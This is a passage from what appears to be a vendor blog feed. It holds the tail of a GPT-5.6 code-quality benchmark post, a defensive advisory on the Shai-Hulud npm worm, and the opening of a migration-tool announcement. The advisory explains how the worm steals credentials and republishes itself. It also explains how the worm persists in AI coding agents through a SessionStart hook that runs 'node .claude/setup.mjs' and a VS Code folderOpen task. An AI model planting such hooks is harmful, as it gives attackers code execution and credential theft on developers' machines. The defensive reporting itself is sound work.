Terra&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Lines of code&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;702,720&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;750,198&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;617,132&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Functions&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;92,206&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;82,164&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;70,378&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Comments (% of LOC)&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;2.0%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;1.5%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;0.9%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Cognitive complexity per kLOC&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;151.27&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;143.23&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;161.53&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Pass rate&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;78.66%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;81.99%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;79.96%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Bug density per mLOC&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;504&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;724&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;763&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Vulnerability density per mLOC&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;68&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;197&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;203&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Code smell density per kLOC&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;17.05&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;17.60&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;23.31&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Start with volume. Terra wrote 617,132 lines, 12.2% fewer than GPT-5.5 and 18% fewer than Sol. It used 70,378 functions to do it, roughly a quarter fewer than GPT-5.5. Terra is the concise one.&lt;/p&gt;&lt;p&gt;Its pass rate is 79.96%, a little above GPT-5.5 and a little under Sol. It also had the fewest missing completions of the three, at 0.18%.&lt;/p&gt;&lt;p&gt;The tradeoff shows up in density. Because Terra packs the same work into fewer lines, its per-kLOC figures run higher. Code smell density is 23.31 per kLOC, 37% above GPT-5.5. Cognitive complexity is 161.53 per kLOC, the highest of the three. Comments are 0.9% of output, which works out to 5,600 comment lines in total.&lt;/p&gt;&lt;p&gt;Most of the extra smell volume is minor severity, which went from 6,145 to 10,367 per mLOC. Blocker-level smells actually came down, from 78 to 62 per mLOC, the best of the three. And collection and generics issues nearly doubled to 11,843 per mLOC, which is the single largest driver.&lt;/p&gt;&lt;p&gt;On security, Terra lands close to Sol: 203 vulnerabilities per mLOC, with cryptography misconfiguration at 76 and blockers at 11. Its bug profile is close too. Bug density is 763 per mLOC, about 51% above GPT-5.5, and concurrency and threading leads at 350 per mLOC.&lt;/p&gt;&lt;p&gt;The short version: Sol gives you the higher pass rate and flat maintainability at slightly more volume. Terra gives you meaningfully less code and the lowest blocker-smell density, with more findings per line. Neither is strictly ahead of the other, and which one fits depends on whether your bottleneck is review volume or review depth.&lt;/p&gt;&lt;h2&gt;How do GPT-5.6 Sol and Terra token usage compare to GPT-5.5?&lt;/h2&gt;&lt;p&gt;One more thing from the data, with a caveat attached.&lt;/p&gt;&lt;p&gt;Input tokens were effectively identical across all three runs at about 1.32 million, which is what you&amp;#x27;d expect from the same benchmark. Output tokens weren&amp;#x27;t. GPT-5.5 produced 5.55 million, Sol produced 9.58 million, and Terra produced 8.37 million. That&amp;#x27;s 73% and 51% more output for code volume that moved a lot less.&lt;/p&gt;&lt;p&gt;Both 5.6 variants also report reasoning tokens: 4.00 million for Sol, 3.66 million for Terra.&lt;/p&gt;&lt;h2&gt;What are the biggest risks of using GPT-5.6 generated code in production?&lt;/h2&gt;&lt;p&gt;GPT-5.6 writes more correct code, and code that is easier to read. Neither of those removes the need to verify what it produces. They change where verification has to point, and this evaluation says exactly where.&lt;/p&gt;&lt;p&gt;Two areas earn that attention, and both are places a read-through tends to miss.&lt;/p&gt;&lt;p&gt;Concurrency is the first. At 352 per mLOC for Sol and 350 for Terra, threading is comfortably the largest bug category in both variants. Concurrency bugs are intermittent, environment-dependent, and expensive to reproduce. If what you generate is concurrent by nature, plan to catch these at the testing and analysis stage, because they do not reliably surface in review. &lt;/p&gt;&lt;p&gt;Security configuration is the second, and it is narrower than you might expect. Cryptography misconfiguration and insecure system resource handling are the top two vulnerability categories in both variants, and between them they explain most of the rise over GPT-5.5. Both are exactly the kind of finding automated analysis that catches reliably that makes this a solvable problem, not a standing tax on reviewer time.&lt;/p&gt;&lt;p&gt;The variant choice is a real one. Sol for the higher pass rate and flat maintainability. Terra if less code matters more to you than fewer findings per line.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Three takeaways:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Correctness improved, clearly.&lt;/strong&gt; Sol&amp;#x27;s 81.99% pass rate is 3.3 points above GPT-5.5 on identical tasks, and complexity density came down at the same time.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;The security profile changed shape.&lt;/strong&gt; Blocker vulnerabilities halved to 9 per mLOC while criticals moved to 125. Cryptography and system resource handling are where verification should focus.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;The two variants are genuinely different.&lt;/strong&gt; Terra writes 12% less code than GPT-5.5 with the lowest blocker-smell density of the three, at a higher findings-per-line rate. Pick the profile that matches your bottleneck.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Full evaluation results for both GPT-5.6 variants, along with every other model we&amp;#x27;ve measured, are on the &lt;a href=&quot;https://www.sonarsource.com/the-coding-personalities-of-leading-llms/leaderboard/&quot;&gt;Sonar LLM Leaderboard&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[The return of Shai-Hulud: How SonarQube detects and contains the npm worm]]></title><description><![CDATA[Learn how the Shai-Hulud npm worm spreads and see how SonarQube detects malicious packages before they reach production and steal credentials.]]></description><link>https://www.sonarsource.com/blog/the-return-of-shai-hulud/</link><guid isPermaLink="false">en:ac171cea-7b03-4922-9815-f8dfec76a599</guid><dc:creator><![CDATA[Taylor Luttrell-Williams]]></dc:creator><pubDate>Wed, 05 Aug 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here we go again. A fresh wave of the self-propagating Shai-Hulud worm is surging through the npm ecosystem. Its goal now is the same as it was with every prior wave: steal developer and CI credentials, then use those credentials to republish itself inside more packages. The name is a callback to the sandworms of &lt;em&gt;Dune&lt;/em&gt;, and the worm’s behavior tracks. Once it&amp;#x27;s burrowed itself into your dependency tree, it&amp;#x27;s hard to detect and it doesn&amp;#x27;t stay put.&lt;/p&gt;&lt;p&gt;If you maintain Node.js projects or run npm installs anywhere in your pipelines, this post is for you. Here we cover what the worm does, how it spreads, and how &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; detects and contains known bad packages before they reach production.&lt;/p&gt;&lt;h2&gt;What is the Shai-Hulud worm and how did it start?&lt;/h2&gt;&lt;p&gt;Shai-Hulud is a self-replicating supply chain worm targeting npm, and it has erupted in waves since September 2025. GitHub, which operates the registry, has watched the campaign escalate from opportunistic compromises into &lt;a href=&quot;https://github.blog/security/supply-chain-security/disrupting-supply-chain-attacks-on-npm-and-github-actions/&quot;&gt;engineered attacks on maintainer workflows and CI pipelines&lt;/a&gt;. CISA documented one earlier wave that compromised over 500 npm packages. The mechanics are consistent across waves: an attacker gets control of a maintainer account, publishes a trojanized version of a popular package, and the malicious code gets to work the moment it&amp;#x27;s installed.&lt;/p&gt;&lt;p&gt;According to &lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem&quot;&gt;CISA&amp;#x27;s advisory&lt;/a&gt;, the payload scans the environment for sensitive credentials, targets GitHub personal access tokens and cloud API keys for AWS, GCP, and Azure, and exfiltrates what it finds. It then authenticates to the registry as the compromised maintainer and publishes infected versions of other packages that account can touch. One stolen token thereby becomes the seed for the next round of infections.&lt;/p&gt;&lt;h2&gt;How the worm operates&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Infection&lt;/strong&gt; — A compromised maintainer account ships a malicious version of a package. It lands in your project through a normal install or a lockfile update. It doesn&amp;#x27;t have to be a direct dependency, as a transitive package located five levels down is just as effective.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Credential harvest&lt;/strong&gt; — Once the code runs, it reads environment variables and well known credential file paths: npm tokens, cloud keys, SSH keys, CI secrets, etc. Anything a build agent can see, the payload can see too.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Propagation&lt;/strong&gt; — The worm uses the stolen npm token to authenticate as the victim and republish trojanized versions of every package that account maintains. Those packages flow out to their own dependents, and the loop repeats.&lt;/li&gt;&lt;/ul&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/ef593040-b591-0198-9506-ed88b30bc023/d58f6d88-624f-496b-b854-045c542a0e01/shai-hulud-blog-2.png&quot; /&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Evolution&lt;/strong&gt; — The newer variants go after AI coding agents for persistence. As our team documented in &lt;a href=&quot;https://www.sonarsource.com/blog/mini-shai-hulud-targets-ai-coding-agents/&quot;&gt;Mini Shai-Hulud targets AI coding agents&lt;/a&gt;, one variant writes a &lt;code&gt;SessionStart&lt;/code&gt; hook into &lt;code&gt;.claude/settings.json&lt;/code&gt; so that opening a repo runs &lt;code&gt;node .claude/setup.mjs&lt;/code&gt; every session, with a VS Code &lt;code&gt;tasks.json&lt;/code&gt; equivalent that fires on &lt;code&gt;folderOpen&lt;/code&gt;. Once you open an infected repo in a trusted workspace, the attacker&amp;#x27;s code runs, with no install step required.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;How SonarQube detects and contains it&lt;/h2&gt;&lt;p&gt;SonarQube&amp;#x27;s &lt;a href=&quot;https://www.sonarsource.com/blog/stop-malicious-packages-in-your-ci-cd-pipeline-with-sonarqube/&quot;&gt;malicious package detection&lt;/a&gt; compares your dependencies against a live feed of known bad packages and flags a match as soon as its scan finds one. This is the layer that catches the worm during its propagation phase, when a compromised version is actively spreading across the ecosystem.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/ef593040-b591-0198-9506-ed88b30bc023/ae94eb76-a93d-4df1-97f8-a87f82b4c06f/shai-hulud-blog-1.png&quot; /&gt;&lt;h3&gt;The primary layer — malicious package detection&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/advanced-security/&quot;&gt;SonarQube Advanced Security&lt;/a&gt; includes software composition analysis that checks your dependency tree against constantly updated lists of known malicious packages, drawing on community threat intelligence such as the &lt;a href=&quot;https://github.com/ossf/malicious-packages&quot;&gt;OpenSSF Malicious Packages&lt;/a&gt; database. This is different from traditional CVE-based scanning. A worm like Shai-Hulud is active malware, not a vulnerability sitting in otherwise legitimate code, and it often never gets a CVE at all. It also catches what signing can&amp;#x27;t: a package can carry valid build provenance and signed attestations and still be malicious, because those verify how it was built, not whether the code that entered the pipeline was safe. This check matches the package and version against known malicious package intelligence, which is why it holds up even when a poisoned release rides a trusted, fully attested CI pipeline.&lt;/p&gt;&lt;p&gt;When a known bad package turns up in your tree, SonarQube surfaces it as a blocker-severity dependency risk. Add a dependency-risk condition to your &lt;a href=&quot;https://www.sonarsource.com/blog/stop-malicious-packages-in-your-ci-cd-pipeline-with-sonarqube/&quot;&gt;quality gate&lt;/a&gt;, and with your pipeline set to break on a failing gate, that risk stops the build before the compromised dependency ships. npm, Yarn, pnpm, and Bun are all &lt;a href=&quot;https://docs.sonarsource.com/sonarqube-server/advanced-security/analyzing-projects-for-dependencies&quot;&gt;supported ecosystems&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;SonarQube re-checks the dependencies on your permanent branches against the latest feed on a schedule, once per day by default. So a package that was clean when you installed it and later gets catalogued as malicious will be flagged on the next rescan, with no new commit required. That&amp;#x27;s the exact failure mode this attack creates: the version you pulled last week is the version that goes bad this week.&lt;/p&gt;&lt;h3&gt;Supporting layer — catch before commit&lt;/h3&gt;&lt;p&gt;The &lt;a href=&quot;https://www.sonarsource.com/sonarqube/cli/&quot;&gt;SonarQube CLI&lt;/a&gt; installs a Git pre-commit hook that runs on the developer&amp;#x27;s machine, before anything reaches CI. When a commit changes a dependency manifest or lockfile, the hook scans the changed dependencies and blocks the commit on any new risk rated medium severity or higher, which covers every malicious package risk, since those are always blocker severity. That pushes the catch point as early as it goes: a known bad package never makes it into a commit. If the scanner can&amp;#x27;t run or the network is unavailable, the hook fails open and allows the commit through, so treat it as a first line of defense rather than the only one.&lt;/p&gt;&lt;h3&gt;Supporting layer — dependency pre-flight for agents&lt;/h3&gt;&lt;p&gt;The &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/mcp-server/&quot;&gt;SonarQube MCP Server&lt;/a&gt; can require a dependency check against the same threat intelligence before an agent modifies a manifest or lockfile. This class of malware spreads through dependency changes, so the check catches a known bad package at the exact point it would enter your project. It&amp;#x27;s a guardrail rather than a hard block, and like every feed-based check, it&amp;#x27;s only as good as the feed is current.&lt;/p&gt;&lt;h3&gt;Supporting layer — secrets detection&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/solutions/secrets-detection/&quot;&gt;Secrets detection&lt;/a&gt; won&amp;#x27;t stop the infection, but the worm&amp;#x27;s entire payoff is credential theft. If a stolen or hardcoded credential lands in your code, rules like S6418 and S2068 catch it and shrink the impacted area. Note that this serves as a containment layer, not a prevention layer.&lt;/p&gt;&lt;p&gt;In summary, SonarQube detects and contains known Shai-Hulud packages and helps shrink the blast radius when a stolen or hardcoded credential ends up in your code. No feed-based check catches a compromise the instant it&amp;#x27;s published, and you should be skeptical of any tool that claims to prevent every supply chain attack. SonarQube, however, gives you a net that catches this worm while it spreads and the daily rescan that flags it after the fact, the two windows through which it wreaks havoc.&lt;/p&gt;&lt;h2&gt;Next steps&lt;/h2&gt;&lt;p&gt;If you think you&amp;#x27;ve been affected, time is of the essence and your order of operations is consequential. Work through this list from top to bottom:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Stop the bleed&lt;/strong&gt; — Halt affected CI/CD pipelines. If you find persistence artifacts (unexpected &lt;code&gt;SessionStart&lt;/code&gt; hooks, rogue background services), remove them &lt;em&gt;before&lt;/em&gt; rotating tokens so a live payload can&amp;#x27;t recapture the new credentials.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Rotate credentials&lt;/strong&gt; — Rotate npm tokens, GitHub personal access tokens, cloud keys (AWS, GCP, Azure), SSH keys, and CI secrets. Perform this step even if you have MFA enabled.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Clean the tree&lt;/strong&gt; — Audit your dependencies, remove &lt;code&gt;node_modules&lt;/code&gt;, and reinstall from a known good lockfile. Don&amp;#x27;t rely on &lt;code&gt;latest&lt;/code&gt; or a version bump alone; attackers flip tags, so pin and verify the exact resolved versions your lockfile installs.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Turn on the net&lt;/strong&gt; — Enable software composition analysis in SonarQube Advanced Security with quality gate enforcement in CI/CD, and confirm the daily rescan is running on your permanent branches.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Guard the agents&lt;/strong&gt; — If you use coding agents, wire the MCP dependency pre-flight and audit your &lt;code&gt;.claude/&lt;/code&gt; and &lt;code&gt;.vscode/&lt;/code&gt; config directories for injected hooks.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Catch the leaks&lt;/strong&gt; — Enable secrets detection so that any credential that does slip into code gets flagged fast.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Harden the install path&lt;/strong&gt; — Disable or restrict npm install scripts (for example, install with &lt;code&gt;--ignore-scripts&lt;/code&gt; in CI, or use an npm release that blocks unapproved lifecycle scripts by default) so a malicious &lt;code&gt;preinstall&lt;/code&gt; can&amp;#x27;t execute in the first place.&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;Here we go again&lt;/h2&gt;&lt;p&gt;Supply chain attacks used to run once, at install time, but the newer Shai-Hulud variants persist inside the tools developers use every day, including AI coding agents that add and change dependencies on their own. That shift is exactly why defense has to live at the point of change. A feed-backed quality gate that fails the build on a known bad package is how you keep the loop clean as more of that loop becomes automated.&lt;/p&gt;&lt;p&gt;Shai-Hulud will likely return. The packages may carry different names, and the mechanics may shift, but the defense mustn’t: know what&amp;#x27;s in your dependencies, block the versions that are known bad, and rotate fast when something gets through.&lt;/p&gt;&lt;h3&gt;Further reading&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/mini-shai-hulud-targets-ai-coding-agents/&quot;&gt;Mini Shai-Hulud targets AI coding agents&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/why-your-supply-chain-attack-surface-is-expanding/&quot;&gt;Why your supply chain attack surface is expanding&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/stop-malicious-packages-in-your-ci-cd-pipeline-with-sonarqube/&quot;&gt;Stop malicious packages in your CI/CD pipeline with SonarQube&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://docs.sonarsource.com/sonarqube-server/advanced-security/analyzing-projects-for-dependencies&quot;&gt;Analyzing projects for dependencies (SonarQube docs)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/advanced-security/&quot;&gt;SonarQube Advanced Security&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Migrating to SonarQube Cloud just got a whole lot easier]]></title><description><![CDATA[Introducing the new Sonar Migration Tool to automate moving from SonarQube Server to SonarQube Cloud. Now migrating is easier than ever.]]></description><link>https://www.sonarsource.com/blog/migrating-to-sonarqube-cloud-just-got-a-whole-lot-easier/</link><guid isPermaLink="false">en:8e3801da-f561-4932-bf90-a8a8f973c571</guid><dc:creator><![CDATA[Olivier Korach]]></dc:creator><pubDate>Fri, 31 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We are excited to announce the launch of the &lt;strong&gt;Sonar Migration Tool&lt;/strong&gt;, a new, purpose-built utility that makes migrating from &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/server/&quot;&gt;SonarQube Server&lt;/a&gt; to &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/cloud/&quot;&gt;SonarQube Cloud&lt;/a&gt; faster, more reliable, and accessible to every team, regardless of the size or complexity of their setup.&lt;/p&gt;&lt;h2&gt;What does the Sonar Migration Tool do?&lt;/h2&gt;&lt;p&gt;The Sonar Migration Tool automates the end-to-end migration of a SonarQube Server instance to SonarQube Cloud Enterprise. It is robust, fully documented, and designed from the ground up with ease and self-service in mind.&lt;/p&gt;&lt;p&gt;It migrates:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Projects&lt;/strong&gt;, with all their settings, webhooks, links, and new code period configuration&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Quality Gates and Quality Profiles&lt;/strong&gt;, including custom rules and parent relationships&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Groups, Permissions, and Permission Templates&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Portfolios&lt;/strong&gt; (Enterprise edition)&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Issue and Security Hotspot history&lt;/strong&gt;, statuses, comments, tags, and triage decisions are preserved&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Source code and metrics&lt;/strong&gt;, so your projects on SonarQube Cloud are seeded immediately, no immediate re-scan required&lt;/li&gt;&lt;li&gt;&lt;strong&gt;All branches&lt;/strong&gt;, non-main branches migrate as long-lived branches with their full issue history intact&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Issue creation dates&lt;/strong&gt;:, preserved via backdating, so your new-code-period baseline remains accurate from day one&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;How do you run the Sonar Migration Tool step by step?&lt;/h2&gt;&lt;p&gt;For teams with a straightforward setup, one SonarQube Server instance feeding a single SonarQube Cloud organization, migration now takes &lt;strong&gt;four commands&lt;/strong&gt; and a config file.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;sonar-migration-tool extract --config my-config.json
sonar-migration-tool structure --config my-config.json
sonar-migration-tool mappings --config my-config.json
sonar-migration-tool migrate --config my-config.json \
    --default_organization &amp;lt;someOrg&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The config file itself is minimal, just your SonarQube Server URL and token, and your SonarQube Cloud token and enterprise key.&lt;/p&gt;&lt;p&gt;For even simpler cases, such as migrating a single project or a small known set of projects, the &lt;code&gt;transfer&lt;/code&gt; command chains all four phases into one.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;sonar-migration-tool transfer \
  --source_url https://sonarqube.example.com \
  --source_token squ_xxx \
  --project_key &amp;lt;myProjectKey&amp;gt; \
  --target_token squ_xxx \
  --default_organization &amp;lt;someOrg&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One command. Done.&lt;/p&gt;&lt;p&gt;For teams who prefer not to type commands at all, a browser-based GUI is also available.&lt;/p&gt;&lt;p&gt;The GUI is currently experimental in the first release, but will be fully supported in a coming release.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;sonar-migration-tool gui --config my-config.json  &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This opens a guided migration interface in your default browser with progress bars, an event log, and visual CSV editors.&lt;/p&gt;&lt;h2&gt;Customers can run it themselves&lt;/h2&gt;&lt;p&gt;One of the core design objectives of the Sonar Migration Tool is &lt;strong&gt;self-service&lt;/strong&gt;. For customers with a simple setup, such as a single SonarQube Server instance and a single SonarQube Cloud organization, no technical assistance from Sonar is needed. Download the binary, prepare a config file, run four commands.&lt;/p&gt;&lt;p&gt;The tool ships as a &lt;strong&gt;single static binary&lt;/strong&gt; with no installer, no runtime dependencies, and no database. It runs on macOS, Linux, and Windows (X64 and ARM64). There is nothing to install beyond downloading and making it executable.&lt;/p&gt;&lt;p&gt;For more complex migrations, like multiple SonarQube Server instances, multiple target organizations, or environments requiring careful review of the mapping between &lt;a href=&quot;https://www.sonarsource.com/resources/library/devops/&quot;&gt;DevOps platforms&lt;/a&gt; and SonarQube Cloud organizations, the multi-phase workflow gives full control over each step. It also includes the ability to review and edit intermediate CSV files before committing to the migration in order to plan your migration.&lt;/p&gt;&lt;h2&gt;How fast is it?&lt;/h2&gt;&lt;p&gt;Migration speed depends on a number of factors: the number of projects, total lines of code, branch count, the number of issues with manual triage, and network latency. As a general reference point, the tool has been benchmarked against a representative small platform: &lt;strong&gt;70 projects, 100 branches, 500K lines of code, and 1,000 issues with manual changes&lt;/strong&gt;. Performance figures for this configuration are available in the quick-start guide.&lt;/p&gt;&lt;p&gt;For large instances (50,000+ projects), concurrency and timeout settings can be tuned, and the tool&amp;#x27;s resume capability ensures that a failure (OOM, network disconnection…) at any point does not require restarting from scratch.&lt;/p&gt;&lt;h2&gt;Which SonarQube Server versions are supported by the Sonar Migration Tool?&lt;/h2&gt;&lt;p&gt;The Sonar Migration Tool is compatible with:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;All editions&lt;/strong&gt; of SonarQube Server: Developer, Enterprise, and Data Center and even SonarQube Community Build&lt;/li&gt;&lt;li&gt;&lt;strong&gt;All LTA versions from SonarQube Server 9.9 and above&lt;/strong&gt; (intermediate versions are likely to work but have not been formally validated)&lt;/li&gt;&lt;li&gt;&lt;strong&gt;All Active SonarQube Server&lt;/strong&gt; versions at any given moment (currently 2026.3 and 2026.4 as of Aug 1st, 2026)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Authentication is version-aware: Basic auth is used for SonarQube Server versions below 10, and Bearer token for version 10 and above.&lt;/p&gt;&lt;h2&gt;What are the prerequisites for migrating to SonarQube Cloud?&lt;/h2&gt;&lt;p&gt;Before running the tool, you will need:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;A &lt;strong&gt;SonarQube Cloud Enterprise&lt;/strong&gt; account with the target organizations already created&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Admin access&lt;/strong&gt; to your SonarQube Server or Community Build instance (System Admin token)&lt;/li&gt;&lt;li&gt;A &lt;strong&gt;SonarQube Cloud admin token&lt;/strong&gt; with enterprise-level permissions&lt;/li&gt;&lt;li&gt;A machine with at least &lt;strong&gt;8 GB of RAM&lt;/strong&gt; (the tool itself uses around 3 GB)&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Local disk space&lt;/strong&gt; equal to at least 5× the size of your SonarQube Server database (the extracted data is stored locally before being pushed to the cloud)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Installation is a single step: download the binary for your operating system from the &lt;a href=&quot;https://github.com/sonar-solutions/sonar-migration-tool/releases&quot;&gt;releases page&lt;/a&gt;, extract the archive, and make it executable.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;mv sonar-migration-tool-&amp;lt;OS&amp;gt;-&amp;lt;ARCH&amp;gt; sonar-migration-tool
    chmod +x sonar-migration-tool
    ./sonar-migration-tool --help    &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;No Go installation, no package manager, no configuration files required to get started.&lt;/p&gt;&lt;h2&gt;Detailed migration reporting&lt;/h2&gt;&lt;p&gt;One of the most important capabilities of the Sonar Migration Tool is its &lt;strong&gt;migration report&lt;/strong&gt;. Because SonarQube Server and SonarQube Cloud are not feature-identical, a migration is rarely 100% perfect, and the tool is transparent about this.&lt;/p&gt;&lt;p&gt;After every migration run, a report is generated in both PDF and Markdown formats (&lt;code&gt;migration_summary.pdf&lt;/code&gt; / &lt;code&gt;migration_summary.md&lt;/code&gt;). Every migrated object is classified as:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Perfect&lt;/strong&gt; — migrated with 100% fidelity&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Near Perfect&lt;/strong&gt; — migrated with minor, acceptable loss of fidelity&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Partial&lt;/strong&gt; — migrated with significant loss of fidelity (with explanation)&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Failed&lt;/strong&gt; — an error occurred during migration (with detail)&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Skipped&lt;/strong&gt; — not migrated, either by configuration or because the concept does not exist in SonarQube Cloud&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The report explains &lt;em&gt;why&lt;/em&gt; each non-perfect result occurred. Common reasons include: Quality Gates using metrics that don&amp;#x27;t exist in SonarQube Cloud, Quality Profiles with rules from third-party plugins, permissions granted to individual users (SonarQube Cloud manages identity through an IdP), or projects using a reference branch as their new code period.&lt;/p&gt;&lt;p&gt;Before running the actual migration, teams can generate a &lt;strong&gt;predictive report&lt;/strong&gt; using only the output extract, no SonarQube Cloud credentials required. This makes it possible to review expected results in advance, including sending the output extract to Sonar&amp;#x27;s technical team for a pre-migration review.&lt;/p&gt;&lt;h2&gt;What are the limitations of migrating from SonarQube Server to SonarQube Cloud?&lt;/h2&gt;&lt;p&gt;The tool migrates everything it can, but some aspects of a SonarQube Server configuration have no equivalent in SonarQube Cloud or require manual steps post-migration:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Project analysis history&lt;/strong&gt; is not migrated, only the latest analysis state is preserved&lt;/li&gt;&lt;li&gt;&lt;strong&gt;User accounts and authentication&lt;/strong&gt; are not migrated, identity management in SonarQube Cloud is handled by your identity provider and must be configured separately&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Permissions granted to individual users&lt;/strong&gt; (as opposed to groups) are not migrated.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Applications&lt;/strong&gt; are not 